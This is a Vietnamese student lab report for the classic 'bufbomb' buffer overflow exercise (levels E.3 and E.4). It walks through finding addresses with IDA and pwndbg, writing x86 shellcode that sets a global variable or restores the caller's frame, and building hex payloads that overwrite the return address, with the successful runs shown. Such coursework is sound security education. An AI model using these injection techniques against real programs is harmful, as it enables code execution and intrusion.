BÁO CÁO THỰC HÀNH LẬP TRÌNH HỆ THỐNG LAB4

Nhóm 12:

22520825 Nguyễn Đức Luân

22520661 Vũ Ngọc Quốc Khánh

22521110 Đoàn Hoàng Phúc

Yêu cầu E.3: Level này yêu cầu sẽ gọi thực thi hàm "bang". Sau đó phải in ra được dòng chữ "Bang!: You set global_value to ... "

Quan sát hàm bang bằng IDA pro :

```
1  void __noreturn bang()
2  {
3    if ( global_value == cookie )
4    {
5      printf("Bang!: You set global_value to 0x%x\n", global_value);
6      validate(2);
7    }
8    else
9    {
10     printf("Misfire: global_value = 0x%x\n", global_value);
11   }
12   exit(0);
13 }
```

Để in ra được dòng chữ như yêu cầu thì biến global phải bằng với giá trị cookie nhập vào. Ta kiểm tra hai biến này :

```
.bss:804B7158                 public cookie
.bss:804B7158 ; unsigned int cookie
.bss:804B7158 cookie          dd ?                    ; DATA XREF: fizz+9↑r
.bss:804B7158                                         ; bang+D↑r ...
.bss:804B715C                 public success
```

```
.bss:804B7160                 public global_value
.bss:804B7160 global_value    dd ?                    ; DATA XREF: bang+6↑r
.bss:804B7160                                         ; bang+16↑r ...
```

Ta thấy rằng hai biến trên đều là biến toàn cục chưa được khởi tạo giá trị(vùng segment .bss). Vậy cách để giải quyết vấn đề là thay đổi giá trị của biến global_value theo giá trị của cookie là được. Do biến global_value không thể ghi đè trực tiếp thông qua lỗi Buffer overflow vì vùng nhớ của biến này nằm thấp hơn so với stack. Chính vì vậy chúng ta sẽ thực hiện việc truyền mã thực thi thông qua buffer để thay đổi giá trị của global_value đồng thời nhảy vào hàm bang.

Đầu tiên ta phải xác định được địa chỉ bắt đầu của chuỗi buffer ta nhập vào chương trình. Việc xác định cũng rất đơn giản, ta có thể làm theo cách trong file hướng dẫn thực hành, tuy nhiên lần này ta sẽ thực hiện theo một cách khác là dùng PwnGDB để xác định vị trí:

Ta thực hiện câu lệnh sau : gdb ./bufbomb

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ gdb ./bufbomb
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 141 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from ./bufbomb...
(No debugging symbols found in ./bufbomb)
------- tip of the day (disable with set show-tips off) -------
Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command (use se
t kernel-vmmap-via-page-tables off for that)
pwndbg>
```

Tiếp đến thực hiện lệnh sau:

```
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 141 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from ./bufbomb...
(No debugging symbols found in ./bufbomb)
------- tip of the day (disable with set show-tips off) -------
Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command (use se
t kernel-vmmap-via-page-tables off for that)
pwndbg> brak getbuf
Undefined command: "brak".  Try "help".
pwndbg> break getbuf
Breakpoint 1 at 0x804b299e
pwndbg> r -u 661825110
```

Kết quả ta được như sau:

```
Userid: 661825110
Cookie: 0x4c50d849

Breakpoint 1, 0x804b299e in getbuf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
*EAX  0x8982c45
*EBX  0xffffd3b0 ◂— 0x3
*ECX  0xf7e2a094 (randtbl+20) ◂— 0xcaa27d0
 EDX  0x0
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffd464 —▸ 0xffffd5ea ◂— '/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5/bufbomb'
*EBP  0x55683410 (_reserved+1037328) —▸ 0x55683430 (_reserved+1037360) —▸ 0x55685fe0 (_reserved+1048544) —▸ 0xffffd358 —
▸ 0xffffd398 ◂— ...
*ESP  0x556833d8 (_reserved+1037272) —▸ 0xf7e2a4a4 (unsafe_state) —▸ 0xf7e2a094 (randtbl+20) ◂— 0xcaa27d0
*EIP  0x804b299e (getbuf+6) ◂— sub esp, 0xc
──────────────────────[ DISASM / i386 / set emulate on ]──────────────────────
 ▸ 0x804b299e <getbuf+6>     sub    esp, 0xc                    <_reserved+1037272>
   0x804b29a1 <getbuf+9>     lea    eax, [ebp - 0x32]
   0x804b29a4 <getbuf+12>    push   eax
   0x804b29a5 <getbuf+13>    call   Gets                   <Gets>

   0x804b29aa <getbuf+18>    add    esp, 0x10
   0x804b29ad <getbuf+21>    mov    eax, 1
   0x804b29b2 <getbuf+26>    leave
   0x804b29b3 <getbuf+27>    ret

   0x804b29b4 <getbufn>      push   ebp
   0x804b29b5 <getbufn+1>    mov    ebp, esp
   0x804b29b7 <getbufn+3>    sub    esp, 0x208
```

Lúc này nhập lệnh “n” đến khi mũi tên màu xanh lục trỏ đến lệnh call Gets. Nhập tiếp n để nhập input:

```
/lab/lab5/bufbomb'
07:001c|       0x556833e4 (_reserved+1037284) —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
──────────────────────[ BACKTRACE ]──────────────────────
 ▸ f 0 0x804b29a5 getbuf+13
   f 1 0x804b22c7 test+19
   f 2 0x804b2635 launch+143
   f 3 0x804b2703 launcher+151
   f 4 0x804b297a main+569
   f 5 0xf7c21519 __libc_start_call_main+121
   f 6 0xf7c215f3 __libc_start_main+147
   f 7 0x804b210d _start+33
──────────────────────────────────────────────────────

pwndbg>
Type string:aaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

Lúc này trên giao diện của gdb xuất hiện thông tin như sau:

```
pwndbg>
Type string:aaaaaaaaaaaaaaaaaaaaaaaaaaaa
0x804b29aa in getbuf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
 EAX  0x556833de (_reserved+1037278) ◂— popal  /* 0x61616161; 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa' */
 EBX  0xffffd3b0 ◂— 0x3
*ECX  0xffffffff
*EDX  0x1d
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
 ESI  0xffffd464 —▸ 0xffffd5ea ◂— '/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5/bufbomb'
 EBP  0x55683410 (_reserved+1037328) —▸ 0x55683430 (_reserved+1037360) —▸ 0x55685fe0 (_reserved+1048544) —▸ 0xffffd358 —
▸ 0xffffd398 ◂— ...
 ESP  0x556833c8 (_reserved+1037256) —▸ 0x556833de (_reserved+1037278) ◂— popal  /* 0x61616161; 'aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaa' */
*EIP  0x804b29aa (getbuf+18) ◂— add esp, 0x10
```

Ta thấy chuỗi input đã nhập được lưu bắt đầu tại địa chỉ 0x556833de. Đây cũng chính là địa chỉ mà ta cần tìm.

Tiếp đến ta xác định giá trị của cookie thông qua tên user được tạo bằng mssv của thành viên trong nhóm là 661825110. Dùng chương trình makecookie để lấy giá trị cookie:\

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ ./makecookie 661825110
0x4c50d849
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$
```

Vậy giá trị cookie là 0x4c50d849

Tiếp đó ta cần xác định địa chỉ của hàm bang thông qua IDA:

```
.text:804B2259
.text:804B2259                 public bang
.text:804B2259 bang            proc near
.text:804B2259 ; __unwind {
.text:804B2259                 push    ebp
.text:804B225A                 mov     ebp, esp
```

Vậy địa chỉ của hàm bang sẽ là 0x804B2259

Cuối cùng xác định địa chỉ của biến global_value là 0x804B7160

```
.bss:804B7160                 public global_value
.bss:804B7160 global_value    dd ?                    ; DATA XREF: bang+6↑r
.bss:804B7160                                         ; bang+16↑r ...
```

Sau khi có đủ các thông tin cần thiết ta tạo file shellcode như sau:

```
mov $0x4c50d849, 0x804B7160
push $0x804b2259
ret
~
~
```

Thực hiện biên dịch và dump ra byte code:
gcc -m32 -o shellcode.o -c shellcode.s

objdump -D shellcode.o

```
shellcode.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   c7 05 60 71 4b 80 49    movl   $0x4c50d849,0x804b7160
   7:   d8 50 4c
   a:   68 59 22 4b 80          push   $0x804b2259
   f:   c3                      ret
```

Đưa toàn bộ byte code vào file txt. Lưu ý phải kèm đủ 54 byte cùng với 4 byte return address là địa chỉ bắt đầu lưu của buffer. Ta được kết quả sau:

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ cat buffer_lv2.txt
c7 05 60 71
4b 80 49 d8
50 4c 68 59
22 4b 80 c3
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 62 62
62 62 de 33
68 55 00 00
```

Chạy chương trình và kiểm tra kết quả:

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ ./hex2raw < buffer_lv2.txt | ./bufbom
b -u 661825110
Userid: 661825110
Cookie: 0x4c50d849
Type string:Bang!: You set global_value to 0x4c50d849
VALID
NICE JOB!
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$
```

> **Yêu cầu E.4.** Làm cho chương trình bị khai thác, thực thi một số hoạt động nhất định nhưng vẫn có thể quay về hàm mẹ ban đầu (hàm test) và thực hiện hết toàn bộ code phía sau

Xác định được các yếu tố bị thay đổi (do Buffer overflow) và phục hồi nó. Theo dõi hàm test:

```
1  int test()
2  {
3    int v1; // [esp+8h] [ebp-10h]
4    int v2; // [esp+Ch] [ebp-Ch]
5
6    v1 = uniqueval();
7    v2 = getbuf();
8    if ( uniqueval() != v1 )
9      return puts("Sabotaged!: the stack has been corrupted");
0    if ( v2 != cookie )
1      return printf("Dud: getbuf returned 0x%x\n", v2);
2    printf("Boom!: getbuf returned 0x%x\n", v2);
3    return validate(3);
4  }
```

Theo luồng hoạt động bình thường của chương trình thì ta có nhập cái gì đi nữa thì hàm getbuf() sẽ trả về 1 và v2 != cookie → In ra dòng chữ “Dud: getbuf returned …”

Biến v1 là kết quả trả về của hàm uniqueval(). Ta xem thử hàm này :

```
int uniqueval()
{
  unsigned int v0; // eax

  v0 = getpid();
  srandom(v0);
  return random();
}
```

Kết quả trả về là một số ngẫu nhiên được tạo thông qua seed là biến v0. Do dùng một seed là biến v0 không thay đổi giá trị nên hàm này sẽ trả về các giá trị giống nhau sau mỗi lần chạy. Chính vì lý do đấy nên biến v0 được dùng để kiểm tra xem chương trình có bị lỗi do hàm getbuf ghi đè quá lố hay không. Nếu có thì sẽ in ra dòng chữ. “Sabotaged!: the stack has been corrupted”.

Vậy ta mong muốn quay về hàm test và gán v2 == cookie (để chứng minh là quay về hàm test thành công) và thực hiện đến khi in ra “Boom!: getbuf returned ... “ . Vậy công việc shellcode lần này là:

+Gán giá trị cookie trả về

+Khôi phục trạng thái thanh ghi/bộ nhớ bị thay đổi của hàm mẹ (test)

+Đẩy địa chỉ trả về đúng vào stack(câu lệnh thực thi tiếp theo của test)

+Thực thi lệnh ret và trở về hàm test

Đâu tiên giá trị của cookie đã được xác định ở bài trên nên ta sẽ bỏ qua, tiếp đến là khôi phục trạng thái thanh ghi/bộ nhớ của hàm mẹ test (khôi phục ebp của hàm test sau khi bị ghi đè với buffer) bằng lệnh shellcode, địa chỉ lệnh tiếp theo của test là :0x804B22C7

```
.text:804B22BF                mov     [ebp+var_10], eax
.text:804B22C2                call    getbuf
.text:804B22C7                mov     [ebp+var_C], eax
.text:804B22CA                call    uniqueval
```

Ta có file shellcode như sau:

```
mov $0x4c50d849, %eax
lea 0x18(%esp), %ecx
mov %ecx, %ebp
push $0x804B22C7
ret
~
~
```

Xem mã assembly sau để dễ hiểu hơn:

```
.text:804B22B4 test            proc near               ; CODE XREF: launch:loc_804B2630↓p
.text:804B22B4
.text:804B22B4 var_10          = dword ptr -10h
.text:804B22B4 var_C           = dword ptr -0Ch
.text:804B22B4
.text:804B22B4 ; __unwind {
.text:804B22B4                 push    ebp
.text:804B22B5                 mov     ebp, esp
.text:804B22B7                 sub     esp, 18h
.text:804B22BA                 call    uniqueval
.text:804B22BF                 mov     [ebp+var_10], eax
.text:804B22C2                 call    getbuf
.text:804B22C7                 mov     [ebp+var_C], eax
.text:804B22CA                 call    uniqueval
.text:804B22CF                 mov     edx, eax
.text:804B22D1                 mov     eax, [ebp+var_10]
.text:804B22D4                 cmp     edx, eax
.text:804B22D6                 jz      short loc_804B22EA
.text:804B22D8                 sub     esp, 0Ch
.text:804B22DB                 push    offset aSabotagedTheSt ; "Sabotaged!: the stack has been corrupte"...
.text:804B22E0                 call    _puts
.text:804B22E5                 add     esp, 10h
.text:804B22E8                 jmp     short loc_804B232B
.text:804B22EA ; ---------------------------------------------------------------------------
```

Thông qua hình trên ta xác định được giá trị ebp của hàm test được xác định bằng giá trị của esp cộng với 0x18

Biên dịch lại chương trình thành file object và dump ra byte code:

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ objdump -D shellcode2.o

shellcode2.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 49 d8 50 4c          mov    $0x4c50d849,%eax
   5:   8d 4c 24 18             lea    0x18(%esp),%ecx
   9:   89 cd                   mov    %ecx,%ebp
   b:   68 c7 22 4b 80          push   $0x804b22c7
  10:   c3                      ret
```

Đưa byte code vào file txt và thực hiện như bài trên. Ta thu được file như sau:

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ cat buffer_lv3.txt
b8 49 d8 50
4c 8d 4c 24
18 89 cd 68
c7 22 4b 80
c3 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 61 61
61 61 de 33
68 55 00 00
```

Kiểm tra :

```
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$ ./hex2raw < buffer_lv3.txt | ./bufbom
b -u 661825110
Userid: 661825110
Cookie: 0x4c50d849
Type string:Boom!: getbuf returned 0x4c50d849
VALID
NICE JOB!
semloh@semloh-virtual-machine:/mnt/hgfs/D/OBJECTS/HK4/LAP TRINH HE THONG/lab/lab5$
```